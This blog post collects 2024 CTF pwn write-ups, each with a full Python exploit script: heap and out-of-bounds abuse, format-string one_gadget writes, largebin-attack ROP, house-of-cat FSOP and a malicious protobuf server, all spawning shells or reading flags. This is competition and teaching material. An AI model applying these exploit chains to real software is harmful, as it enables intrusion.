首页 > 其他分享 >2024比赛wp合集

2024比赛wp合集

时间:2024-08-10 17:28:40浏览次数:13  
标签:p64 fake pop 2024 base str IO wp 合集

记录一下最近比赛的wp吧

D^3CTF

d3note

没有限制idx范围,越界任意读写,读malloc地址泄露libc,网上写system

from Excalibur2 import*

proc('./pwn')
lib('./libc.so.6')
el('./pwn')

default('h')

def add(idx,size,content):
    sl(b"276")
    sl(str(idx))
    sl(str(size))
    sl(content)

def dele(idx):
    sl(b"6425")
    sl(str(idx))

def edit(idx,content):
    sl(b"2064")
    sl(str(idx))
    sl(content)

def show(idx):
    sl(b"1300")
    sl(str(idx))

target = 0x4040A0

add(0, 0x20, b"/bin/sh\x00")
# debug('b *0x401377\nb *0x401422\nb *0x401221\nb *0x401368\n')
debug('b *0x40141D\nb *0x4013D6\n')
show(-924)
libcbase = get_addr64()-libcsym('malloc')
system = libcbase+libcsym('system')
read = sym('read')
lg("libcbase",libcbase)
lg("system",system)
lg("read",read)

# add(-10,str(0x100),b"aaaa")
# add(-10,hex(system),b"aaaa")
# edit(-1440,b"a"*0x5a90)
edit(-1440,p64(0x404000)*0x20)
edit(-1450,p64(system))

dele(0)

ia()

write_flag_where

写libc的code段,先改一个ret为nop,使得canary报错,然后修改canary报错消息打印的偏移,将打印出的消息和原消息对比得到偏移可比对出flag

from Excalibur2 import *

default('h')

# proc('./test')
debug('b *$rebase(0x133E)\n')
# debug('b *$rebase(0x1361)\n')
# sl("140737352835740 14")
lib('./libc.so.6')
# libcsym('_fortify_fail')
flag = ""
# sl(str(140737352783190+0x3)+" "+str(10))
# sl("140737352643938 14")#smash
# sl("140737352808591 14")
# ru("*** ")
# print(ru(" ***"))
# flag += ru(" ***").decode()
# print(flag)
flags = {
    'sy': 'a',
    'ym': 'b',
    'ms': 'c',
    's.': 'd',
    '.c': 'e',
    'c ': 'f',
    'HA': '0',
    'AN': '1',
    'NG': '2',
    'G ': '3',
    ' *': '4',
    'SE': '5',
    'EC': '6',
    'CS': '7',
    'S ': '8',
    ' *': '9'
}
for i in range(16):
    proc('./test')
    sl(str(140737352783190+0x3)+" "+str(i+6))
    sl("140737352643938 18")#smash
    sl("140737352808591 14")
    ru("*** ")
    flag += flags[rec(2).decode()]
    print(rec(2))
    # pause()
    # syms.c yms.c ms.c s.c .c c HANG ANG NG G
    # flag += flags[ru(" ***").decode()]
    print(flag)
#     print(rc())
#     pause()
    cl()
print("your flag: ","flag{"+flag+"}")
    # ia()
#
# ia()

"""
pwndbg> p (0x7ffff7f5a916-88)  ## a
pwndbg> hex 140737353459902
+0000 0x7ffff7f5a8be  73 79 6d 73 2e 63 00 2b  30 78 00 2d 30 78 00 5b  │syms.c.+│0x.-0x.[│
+0010 0x7ffff7f5a8ce  30 78 00 5d 0a 00 62 75  66 66 65 72 20 6f 76 65  │0x.]..bu│ffer.ove│
+0020 0x7ffff7f5a8de  72 66 6c 6f 77 20 64 65  74 65 63 74 65 64 00 6c  │rflow.de│tected.l│
+0030 0x7ffff7f5a8ee  6f 6e 67 6a 6d 70 20 63  61 75 73 65 73 20 75 6e  │ongjmp.c│auses.un│
pwndbg> p (0x7ffff7f5a916-83)  ## f
$4 = 140737353459907
pwndbg> hex $
+0000 0x7ffff7f5a8c3  63 00 2b 30 78 00 2d 30  78 00 5b 30 78 00 5d 0a  │c.+0x.-0│x.[0x.].│
+0010 0x7ffff7f5a8d3  00 62 75 66 66 65 72 20  6f 76 65 72 66 6c 6f 77  │.buffer.│overflow│
+0020 0x7ffff7f5a8e3  20 64 65 74 65 63 74 65  64 00 6c 6f 6e 67 6a 6d  │.detecte│d.longjm│
+0030 0x7ffff7f5a8f3  70 20 63 61 75 73 65 73  20 75 6e 69 6e 69 74 69  │p.causes│.uniniti│
pwndbg> hex $Quit
pwndbg> p (Quit
pwndbg> hex $Quit
pwndbg> p (0x7ffff7f5a916-83Quit
pwndbg> p(0xb9-0x30)
$5 = 137
pwndbg> p (0x7ffff7f5a916-137)  ## 0
$6 = 140737353459853
pwndbg> hex 140737353459853
+0000 0x7ffff7f5a88d  48 41 4e 47 00 53 45 43  53 00 25 73 28 25 73 29  │HANG.SEC│S.%s(%s)│
+0010 0x7ffff7f5a89d  20 5b 25 70 5d 00 25 73  28 25 73 25 63 25 23 74  │.[%p].%s│(%s%c%#t│
+0020 0x7ffff7f5a8ad  78 29 20 5b 25 70 5d 00  62 61 63 6b 74 72 61 63  │x).[%p].│backtrac│
+0030 0x7ffff7f5a8bd  65 73 79 6d 73 2e 63 00  2b 30 78 00 2d 30 78 00  │esyms.c.│+0x.-0x.│
pwndbg> p(0xb9-0x39)
$7 = 128
pwndbg> p (0x7ffff7f5a916-128)  ## 9
$8 = 140737353459862
pwndbg> hex 140737353459862
+0000 0x7ffff7f5a896  00 25 73 28 25 73 29 20  5b 25 70 5d 00 25 73 28  │.%s(%s).│[%p].%s(│
+0010 0x7ffff7f5a8a6  25 73 25 63 25 23 74 78  29 20 5b 25 70 5d 00 62  │%s%c%#tx│).[%p].b│
+0020 0x7ffff7f5a8b6  61 63 6b 74 72 61 63 65  73 79 6d 73 2e 63 00 2b  │acktrace│syms.c.+│
+0030 0x7ffff7f5a8c6  30 78 00 2d 30 78 00 5b  30 78 00 5d 0a 00 62 75  │0x.-0x.[│0x.]..bu│
"""

DASCTF X GFCTF

control

利用C++的catch机制绕过canary,调试控制rbp为栈上地址,在栈上写rop

from Excalibur2 import *

default("h")


while True:
    proc('./pwn')
    remo('node5.buuoj.cn',29422)

    gift_str = b"/bin/sh\x00"
    gift = 0x4d3350
    payload = p64(0x401c72)+p64(gift)+p64(0x0000000000405285)+p64(0)+p64(0x0000000000462c27)+p64(59)+p64(0x40161e)
    payload += cyclic(34+78-len(payload))
    payload += b"\xd8\xe2"
    sda(">",gift_str)
    sda("?",payload)
    sl("cat /flag")
    try:
        flag = ru("}")
    except:
        print("[-] Failed")
        cl()
        continue
    else:
        print(flag)
        ia()
"""
0x000000000040161e : syscall
0x0000000000495b8a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000462c27 : pop rax ; ret
0x0000000000401c72 : pop rdi ; ret
"""


DASCTF X HDCTF

签个到吧

一下午卡在没法一次改同一个栈链上,比赛最后四十分钟搜到了个https://zikh26.github.io/posts/a523e26a.html

才发现神奇的$不能在一次printf中对一个地址进行修改+利用,所以需要在一次printf中利用两次相同链的情况需要把前面的\(展开,也就是说用%号来推进偏移,而不是`\)`来推偏移

原因不知道为什么,需要去printf的源码中寻找答案,有博客猜测:任意地址写用 $ 指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 $ 去在刚刚的指针基础上进行修改

这种极限的格式化字符串利用使用条件为

  • 栈上有两条A->B->C的栈链
  • 非栈上的格式化字符串
  • 结尾程序退出使用_exit函数(防止劫持fini_array)

本题来说

  • 第一条链,写printf函数的返回地址,这样能起到每次修改返回地址使程序循环利用fmt的作用
  • 第二条链,写One_gadget,分三次写,一次写两字节,栈链为A->B->(目标存放ogg的栈地址分别+0、+2、+4)
  • 这里将ogg存放在printf函数返回地址的栈地址+8,最后修改printf返回地址为ret,成功返回到ogg处执行getshell

如图所示

写入之后

一些Attention:

  • 本题的特殊之处在于,假设现在有栈指针 A=>B=>C=>D ,我可以用格式化字符通过 B 为跳板修改 CE,那么修改后的链为 A=>B=>E=>F,如果有第二次格式化字符串漏洞的话,我可以找到链 B=>E=>F 通过 E 为跳板,修改原本的 FG。但这个操作无法用一次的格式化字符串漏洞完成,可能因为 B=>E=>F 这条链本身是不存在的,即使用格式化字符串漏洞做出了 B=>E=>F 这条链也无法同时再去改这条链上的指针
  • 在重新读入格式化字符串后,补\x00来截断上一次的格式化字符串
  • 使用send发送0x100的数据,别用sendline,每次发送后接受一下sleep一下,解决很多玄学问题)
  • 劫持printf返回地址的时候,只需修改最后一字节为0x3F即可,但是显然前面的输出一定远大于所需字节,用到一个技巧是:用0x10003F减去前面pay的长度,之后用%hhn来截断最后一个字节

每一部分的pay细节详见exp

exp

 from Excalibur2 import *

proc('./pwn')
remo("node5.buuoj.cn:27353")
default('h')
lib("./libc.so.6")
# lib("./libc-2.31.so")
el("./pwn")

ru(b'addr: ')
gift = int(ru(b'\n'),16)
target = gift -0x28
lg('gift:',gift)
lg('target:',target)
tar1 = target & 0xffff
tar2 = tar1+0x8
lg('tar1:',tar1)
lg('tar2:',tar2)

# 泄露libc地址,改printf返回地址为0x40133F
# 一个%号表示偏移为1,pay1前两行一共7个%号,所以偏移为7,等价于%7$
pay1 = b"%p"*5
print(len(pay1))
pay1 += b"%"+str((tar1-35)).encode()+b"c%hn"
pay1 += b'%'+str(0x10003F-(tar1)-46).encode()+b'c%49$hhn'
pay1 = pay1.ljust(0x100,b'\x00')
debug("b *0x401361\n")
sda(b'message:',pay1)

ru(b"0x")
ru(b"0x")
ru(b"0x")
libc = int(ru(b"0x"),16)-18-libcsym("read")
lg("libc",libc)

ogg = [0xe3afe,0xe3b01,0xe3b04]
os = libc+ogg[1]

os1 = (os)&0xffff
os2 = (os>>16)&0xffff
os3 = (os>>32)&0xffff
read = got("read")

# 写第二条栈链为pritnf返回地址+0x8,指向ogg的最后两字节
pay2 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay2 += b"%"+str(tar2-0x3F).encode()+b"c%8$hn"
pay2 = pay2.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay2)

# 往pritnf返回地址+0x8处写ogg最后两字节
pay3 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay3 += b"%"+str(os1-0x3F).encode()+b"c%47$hn"
pay3 = pay3.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay3)

# 写第二条栈链为pritnf返回地址+0x8+2,指向ogg的中间两字节
pay4 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay4 += b"%"+str(tar2-0x3F+2).encode()+b"c%8$hn"
pay4 = pay4.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay4)

# 往pritnf返回地址+0x8处写ogg中间两字节
pay5 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay5 += b"%"+str(os2-0x3F).encode()+b"c%47$hn"
pay5 = pay5.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay5)

# 写第二条栈链为pritnf返回地址+0x8+4,指向ogg的前面两字节
pay6 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay6 += b"%"+str(tar2-0x3F+4).encode()+b"c%8$hn"
pay6 = pay6.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay6)

# 往pritnf返回地址+0x8处写ogg前面两字节
pay7 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay7 += b"%"+str(os3-0x3F).encode()+b"c%47$hn"
pay7 = pay7.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay7)

# printf的返回地址改成0x40101a,即ret的地址,执行one_gadget成功getshell
pay = b"%"+str(0x101a).encode()+b"c%49$hn" 
pay = pay.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay)

ia()

"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

DASCTF2024暑期挑战赛

spring_board

非栈上格式化字符串写两次返回地址两次写og

from Excalibur2 import*

proc("./pwn")
remo("node5.buuoj.cn:25964")
default("h")

# pay1 = "-%p"*10
debug("b *0x40082A\n")
pay1 = b"%3$p-%6$p-"
pay1 = pay1.ljust(0x40,b"\x00")
sda(b"keyword\n",pay1)

libc = int(ru(b"-"),16)-0xf7360
lg("libc",libc)

stack = int(ru(b"-"),16)
target = stack-0xd8
lg("target",target)

ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
os = libc+ogg[0]
lg("os",os)

os1 = (os)&0xffff
os2 = (os>>16)&0xffff
lg("os1",os1)
lg("os2",os2)

tar = target&0xffff
lg("tar",tar)

pay2 = b"%"+str(tar).encode()+b"c%25$hn"
pay2 = pay2.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay2)

pay3 = b"%"+str(os1).encode()+b"c%39$hn"
pay3 = pay3.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay3)

pay4 = b"%"+str(tar+2).encode()+b"c%25$hn"
pay4 = pay4.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay4)

pay5 = b"%"+str(os2).encode()+b"c%39$hn"
pay5 = pay5.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay5)



ia()


"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

magic_book

利用入链排序绕过largebin双链表检查,largebin attack写book打出edit的栈溢出,orw读flag即可

from Excalibur2 import*

proc("./pwn")
remo("48.218.22.35:9991")
el("./pwn")
lib("./libc.so.6")
default("h")

def cmd(c):
    sla(b"choice:\n", str(c))

def add(size):
    cmd(1)
    sla(b"need?\n", str(size))

def dele(idx,cnt=b"",page=-1):
    cmd(2)
    sla(b"delete?\n", str(idx))
    if page != -1:
        sla(b"deleted?(y/n)\n", b"y")
        sla(b"write?\n",str(page))
        sla(b"content: \n",cnt)
    else:
        sla(b"deleted?(y/n)\n", b"n")
        pass

def edit(cnt):
    cmd(3)
    sla(b"story!\n", cnt)



ru(b"gift: ")
target = int(ru(b"what"),16)
lg("target",target)

base = target-0x4010
lg("base",base)

# debug("b *$rebase(0x1580)\nb *$rebase(0x13FE)\nb *$rebase(0x14B9)\n")
debug("b *$rebase(0x160C)\n")
add(0x4a8) # p1
add(0x28) # g1
add(0x498) # p2
add(0x28) # g2
dele(0)
add(0x4b8) # g3
dele(2,p64(target+0x40-0x20)*3,0)
add(0x4b8) # g4




pop_rdi =  base+0x0000000000001863
ret = base+0x000000000000101a
read_got = got("read")+base
puts_plt = plt("puts")+base
# pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
edit(pay)

read_real = get_addr64()

libcbase = read_real - libcsym("read")
lg("libcbase",libcbase)

syscall = libcbase+0x46C85
pop_rax = libcbase+0x0000000000045eb0
pop_rsi = libcbase+0x000000000002be51 
pop_rbx = libcbase+0x0000000000035dd1
pop_rdx_rbx = libcbase+0x00000000000904a9

binsh , system = searchlibc("read",read_real,1)
lg("binsh",binsh)
lg("system",system)
og = [0x50a47,0xebc81,0xebc85,0xebc88]
# os = libcbase + og[3]

pay2 = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rax)+p64(0)+p64(pop_rdx_rbx)+p64(0x8)*2+p64(syscall)
pay2 += p64(pop_rdi)+p64(target+0x100)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall)
pay2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
pay2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p61+p64(syscall)
# pay2 = b"a"*0x20+b"a"*8+p64(ret)+p64(os)
# edit(pay2)
sla(b"story!",pay2)

sleep(2)
sl(b"/flag\x00\x00\x00\x00")

ia()


"""
0x0000000000029db4 : syscall
0x0000000000045eb0 : pop rax ; ret
"""


"""
0x000000000000185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001860 : pop r14 ; pop r15 ; ret
0x0000000000001862 : pop r15 ; ret
0x000000000000185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000012b3 : pop rbp ; ret
0x0000000000001430 : pop rbx ; pop rbp ; ret
0x0000000000001863 : pop rdi ; ret
0x0000000000001861 : pop rsi ; pop r15 ; ret
0x000000000000185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x000000000000161f : ret 0x8b48
0x000000000000174a : ret 0xfffb
"""


"""
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

R3CTF

Nullullullllu

改stdin结构体中的_IO_buf_base最后一位为\x00,能够在_IO_buf_base-0x20处开始读入0x64字节,伪造stdin结构体,打getchar->_IO_getc->_IO_getc_unlocked->__uflow这条链,用house of cat

  • 改IO_wfile_jumps+0x20
  • fake_io0x8处改成faki_io_addr,_IO_buf_end=1,_IO_save_base=0;绕过检查
  • getchar读取触发
from Excalibur2 import *

proc('./pwn')
default("h")
lib("./libc.so.6")

def libcbase():
    sla(">",str(1))
    ru(b"libc_base = ")
    libc = int(ru("\n"),16)
    lg("libcbase",libc)
    return libc

def null(target):
    sla(">",str(2))
    sla("Mem: ",str(target))

libc = libcbase()
target = libc+0x203918
lg("target",target)
null(hex(target))

base = target-56
lg("base",base)
pay = p64(base)*4+p64(base+0x200)+p64(0)*3
# pay = pay.ljust(0x64,b"\x00")
debug("b *$rebase(0x12C3)\nb *$rebase(0x138D)\n")
sda(">",pay)
sleep(1)

system = libc+libcsym("system")

# debug(f"b *$rebase(0x12C3)\nb *$rebase(0x138D)\nc\nc\nx/40gx {base}\n")
# debug("b _IO_file_underflow\nc\n")
rdi = 0x68732f6e69622f
lg("libcbase",libc)
lg("target",target)
lg("base",base)
# lg("binsh",rdi)
call_addr = system
lg("system",call_addr)
fake_io_addr=base # 伪造的fake_IO结构体的地址
lg("fake_io_addr",fake_io_addr)
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi  system可设置为binsh的地址
fake_IO_FILE+=p64(fake_io_addr)
fake_IO_FILE+=p64(0)*6
# fake_IO_FILE +=p64(0)# _IO_buf_base=0
# FSOP触发时需要设置fp->_IO_write_ptr > fp->_IO_write_base 即 0x28处值要大于0x20处值
fake_IO_FILE +=p64(1)# rcx!=0(FSOP) _IO_buf_end=1 满足fp->_IO_buf_base != f->_IO_buf_end ,也就是wide_data->_IO_read_ptr != _wide_data->_IO_read_end
fake_IO_FILE +=p64(0)# _IO_save_base = 2
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 满足fp->_IO_save_base < f->_IO_backup_base ,也就是_wide_data->_IO_write_ptr < _wide_data->_IO_write_base
# mov    rdx, qword ptr [rax + 0x20] 其中rax=fake_io_addr+0x30 所以 rdx=fake_io_addr+0x50
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
# call   qword ptr [rax + 0x18] 其中rax=fake_io_addr+0x40 所以 call fake_io_addr+0x58
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(base-0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr 这里rax1可以设置成其他的地方,设置成fake_io_addr+0x30更好布局和节省内存
#  mov    rax, qword ptr [rdi + 0xa0] 其中rdi=fake_io_addr 所以rax=rax1=[fake_io_addr]=fake_io_addr+0x30
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(0) # __malloc_assert触发时 mode=1 
# FSOP触发时,要满足fp->_mode <= 0,FSOP条件之一
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc+libcsym("_IO_wfile_jumps")+0x20)  # __malloc_assert触发时vtable=IO_wfile_jumps+0x10
# FSOP触发时vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
# print(len(fake_IO_FILE))
# mov    rax, qword ptr [rax + 0xe0] 其中rax=rax1=fake_io_addr+0x30 所以 rax=rax2=[fake_io_addr+0x110]=fake_io_addr+0x40

sd(fake_IO_FILE)


ia()

2024JQCTF

pwn_克莱恩特

分析程序发现只需要绕过protobuf的一些检查,就能利用unhex函数的漏洞溢出控制程序执行流

因为目标程序是一个客户端程序,所以我们需要写一个server让client连接我们的server,然后攻击

exp.py

from Excalibur2 import *

proc("./pwn")
default("h")

debug("b *0x40eee1\n")
# debug("b processResponseContent\n")
# debug("b *0x40ED78\n")
# pay1 = b"1"
pay1 = b"127.0.0.1"
# pay2 = b"2222\x00"+b"a"*0x10
pay2 = b"9999\x00"
sla(b"ip:",pay1)
sla(b"port:",pay2)

pause()
sl(b"/bin/sh\x00")


ia()

server.py

import socket
import threading
import struct
import odd_pb2 

seq = 0x13370001
# 定义处理函数
"""
0x000000000054688a : pop rax ; ret
0x000000000065B435           : syscall; ret
0x00000000004146a4 : pop rdi ; ret
0x00000000004161b3 : pop rsi ; ret
0x00000000006615ab : pop rdx ; pop rbx ; ret
"""
def process_response_content(message):
    pay = "f"*2064+"xxxxxxxxxxxxxxxx"+"00"*24+"a446410000000000"+"0000000000000000"+"b361410000000000"+"7171760000000000"+"aa15660000000000"+"0800000000000000"*2+"35B4650000000000"
    pay += "8a68540000000000"+"3b00000000000000"+"a446410000000000"+"7171760000000000"+"b361410000000000"+"0000000000000000""ab15660000000000"+"0000000000000000"*2+"35B4650000000000"
    # pay += 
    # pay = "0x"+"a"*2064
    # pay = "0x"+"a"*2
    # pay = "0x"+"fffffffffffffffffffffffffffffffffffffffff"*2
    pay = pay.encode()
    response = odd_pb2.Message()
    if message.cont == b"hello":
        response.opcode = odd_pb2.OP_HELLO
        response.cont = b"helloOk"
        print("send helloOk")
    elif message.cont == b"sessionBegin":
        response.opcode = odd_pb2.OP_SESSION
        response.cont = b"sessionOk"
        print("send sessionOk")
    elif message.cont == b"recvHex":
        response.opcode = odd_pb2.OP_MSG
        response.cont = (pay)
        print("send hex")
    elif message.cont == b"sessionEnd":
        response.opcode = odd_pb2.OP_END
        response.cont = b"Ok"
        print("send Ok")
    else:
        response.cont = b"Unknown opcode"
    response.magic = 875704370
    response.seq = seq
    return response

# 定义客户端处理线程
def handle_client(client_socket):
    try:
        while True:
                        
            content = client_socket.recv(1024)
            if not content:
                break
            print("[*] received content: ")
            print(content)
            # 解析消息
            message = odd_pb2.Message()
            message.ParseFromString(content)
            print("message: ", message)
            
            # 处理内容并生成响应
            response = process_response_content(message)
            
            # 序列化响应
            response_data = response.SerializeToString()
            # response_length = struct.pack('!I', len(response_data))
            
            # 发送响应
            print("[*] Sending response")
            print(response_data)
            print(response)
            client_socket.send(response_data)
            global seq
            print(f"seq: {seq}")
            seq += 2
            
    except (ValueError, ConnectionError, MemoryError) as e:
        print(f"Error: {e}")
    finally:
        client_socket.close()

# 启动服务器
def start_server(host, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[*] Listening on {host}:{port}")

    while True:
        client_socket, addr = server.accept()
        print(f"[*] Accepted connection from {addr}")
        client_handler = threading.Thread(target=handle_client, args=(client_socket,))
        client_handler.start()

# 设置主机和端口
HOST = '0.0.0.0'
PORT = 9999

# 启动服务器
start_server(HOST, PORT)


odd_pb2用protobuf编译即可

标签:p64,fake,pop,2024,base,str,IO,wp,合集
From: https://www.cnblogs.com/imarch22/p/18352527

相关文章

  • 2024最新版PyCharm下载安装详细教程,Python环境配置和使用指南,零基础保姆级教程
    一、简介PyCharm是一款PythonIDE,其带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具,比如,调试、语法高亮、Project管理、代码跳转、智能提示、自动完成、单元测试、版本控制等等。此外,该IDE提供了一些高级功能,以用于支持Django框架下的专业Web开发。Pytho......
  • 2024杭电多校第七场
    1004如果r2>2r1且树的直径>2r1,则逃跑方总能逃跑否则攻击方肯定能一步步把其逼到叶子节点#include<bits/stdc++.h>usingnamespacestd;constintN=1e5;intn,s,r1,r2;vector<int>ver[N+5];inlineintread(){intx=0;boolf=1;charch=getchar();for(;ch<'0......
  • 东芝新小黑移动硬盘数据被格式化如何恢复(2024年8月版)
    在数字化时代,数据已成为我们生活和工作中不可或缺的一部分。东芝新小黑移动硬盘,以其便携性和大容量,成为许多用户存储重要数据的首选。然而,当这些宝贵的数据因意外格式化而面临丢失的风险时,我们该如何应对?本文将深入探讨东芝新小黑移动硬盘数据被格式化后的恢复方法,希望帮助用户......
  • NOI 2024
    Day1T1集合(set)容易发现两个序列等价当且仅当,所有数字在序列中出现位置的集合构成集族相等。考虑哈希,对于一个集合\(S\),令它的哈希值为\(f(S)=(\sum\limits_{x\inS}B^x)\modP\),上述条件只需做两遍哈希即可满足。使用莫队维护所有哈希值,时间复杂度\(O(q\sqrtn\lo......
  • VS2010旗舰版VB.NET版本音频剪辑代码2024-8-10
    ImportsSystem.ComponentModelImportsSystem.IOImportsSystem.DiagnosticsImportsSystem.DrawingImportsSystem.Windows.FormsPublicClassForm1PrivateWithEventsbgWorkerAsNewBackgroundWorkerPrivateffmpegPathAsString=“C:\ffmpeg-master-lates......
  • 2024年华为OD机试真题-推荐多样性-C++-OD统一考试(C卷D卷)
    2024年OD统一考试(D卷)完整题库:华为OD机试2024年最新题库(Python、JAVA、C++合集) 题目描述:推荐多样性需要从多个列表中选择元素,一次性要返回N屏数据(窗口数量),每屏展示K个元素(窗口大小),选择策略:1.各个列表元素需要做穿插处理,即先从第一个列表中为每屏选择一个元素,再从第二个列......
  • 蓝桥杯2024年第十五届省赛A组-封印宝石
    题目描述在一次探险中,勇者小蓝发现了n颗闪烁着奇异光芒的宝石,每颗宝石都蕴含着魔法能量,分别记作a1,a2,...,an。小蓝计划用n个特制的魔法盒子来封印这些宝石,防止其魔法能量被滥用。封印宝石会消耗小蓝的体力,具体地,将第i颗宝石放入第j个盒子会消耗小蓝i−j......
  • 河南萌新联赛2024第(四)场(部分)
    I、马拉松设sum【i】为X或Y周围的且不在XY路径上的点所以这题的答案就是从sum【x】中选一个起点,sum【y】中选一个终点,答案就是sum【x】*sum【y】可以用dfs实现voiddfs(intu,intpa)//dfs是有方向的{sum[u]=1;for(autonow:v[u]){if(now......
  • 免费【2024】springboot 高校竞赛管理系统的设计与实现
    博主介绍:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌技术范围:SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数......
  • 免费【2024】springboot 高校教务管理系统设计与实现
    博主介绍:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌技术范围:SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数......